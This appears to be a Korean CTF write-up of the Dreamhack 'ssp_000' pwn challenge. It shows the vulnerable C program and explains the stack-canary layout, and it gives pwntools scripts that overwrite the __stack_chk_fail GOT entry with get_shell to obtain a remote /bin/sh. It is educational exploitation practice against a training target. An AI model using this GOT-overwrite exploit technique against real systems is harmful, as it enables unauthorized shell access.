시스템해킹

dreamhack ssp_000 writeup

세종대학교 S.S.G / WHS 2기 2023. 11. 16. 22:37

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

문제의 코드다.

그동안 해왔던 것처럼 get_shell 함수를 실행시키면 될 것이다. 먼저 카나리를 배웠으니 gdb에서 checksec을 통해 카나리가 적용되어있는지 확인해보자.

 

64 bit에 카나리를 사용중이다.

먼저 addr : 이 출력 된 후 addr 변수에 값을 입력한다. 이때 scanf이기에 overflow 발생.

Value : 출력후 value값을 받는다. 이떄도 overflow 발생이다.

buf변수의 크기는 0x40인데 0x80을 받아서 bof가 발생한다.

 

getshell 이라는 함수가 있으니 returnaddress를 해당 함수로 바꾸면 될 것이다.

먼저 returnaddress와 getshell 함수와 addr, value의 위치를 찾아보자

하지만 이 함수는 맨 처음에 buf를 읽는 과정을 가지는 부분이 있다.

 

 

 

returnaddress : 0x7fffffffdeb0

getshell :0x4008ea

addr : 0x7fffffffdec0

value : 0x7fffffffdec8

buffer :0x7fffffffded0

 

현재 이런 형태를 가지고 있따.

여기서 이상한 점은 처음에 buffer을 입력받고, 그 버퍼 때문에 뒤에 입력이 그대로 들어간다는 점이다. 아마 개행문자 때문인 것 같다.

일단 버퍼와 returnaddress의 차이는 32바이트가 차이가 난다.

그렇다면 32-8만큼 하면 카나리가 적힌 부분이 출력될 것이라 생각했다.

 

checkpoint와 watch를 이용해 카나리의 값을 구한것 같다.

 

0xf3a3b6310aeb7e00

8바이트에 끝에가 null이니 맞는거 같다.

하지만 당연하게도 매번 카나리의 값이 바뀐다.

으악.

그래서 카나리의 값을 전에 했던대로 그냥 대입하는건 어렵다. 그렇다면 buffer을 카나리 +1 만큼 작성해서 null문자를 없애서 출력한다면 가능할것이라 생각했다.

 

 

버퍼에 72 바이트부터 카나리가 작성되어있다.

버퍼에 80바이트를 적으면 결국 카나리가 덮어씌워지고 이후에 stackchk_fail@plt가 call된다.

 

179번줄에서 카나리가 변조되면 저게 실행된다.

문제에서 addr에 주소를 입력받고, 입력된 주소위치에 해당되는 값을 value값으로 바꾼다.

GOT를 공부한 후 addr 주소를 어떠한 라이브러리를 참조하는 got 주소를 addr값으로 넣고, 이후에 value값을 get_shell 함수의 주소를 넣는다면,

 

예를들어 printf라이브러리의 got에 getshell 함수 주소를 넣는다면 printf가 실행될 때 got를 참조하고, printf의 got값이getshell 함수의 위치로 설정 되어있기 때문에 getshell이 실행될 것이다.

 

위 코드에서 scanf의 got값을 바꾸고 싶었지만 scanf함수를 통해 주소를 덮어야 하니 그건 물가능 했다. 이후에 stack_chk_fail만 라이브러리로 작동하니 해당 함수의 got주소를 addr값으로 하고, value 값으로 0x4008ea(get_shell) 을 넣으면 된다

 

from pwn import *

p = process('./ssp_000')


p.send(b'a'*80)


p.recvuntil(b'Addr : ')

p.send(b'0x601020')
print(b'0x601020')
p.interactive()


p.sendafter('Value : ', p32(0x4008ea))


p.close()

이런식으로 exploit을 짜고 있었는데 값이 잘 안들어갔다.

해당 sendline값을

from pwn import *

p = remote('host3.dreamhack.games', 14816)


p.sendline(b'a'*80)


p.recvuntil(b'Addr : ')
p.sendline(str(int('0x601020', 16)).encode())

p.sendline(str(int('0x4008ea', 16)).encode())
p.interactive()




p.close()

이런식으로 바꿨다. 문제에서 주소는 %ld값으로 받아서 string값이아니라는 부분을 놓치고 있었다. p32로는 패킹하는거지 인코드 값을 보내는게 아니라는 걸 놓쳤다.;

해당 익스플로잇으로 코드를 작성했고,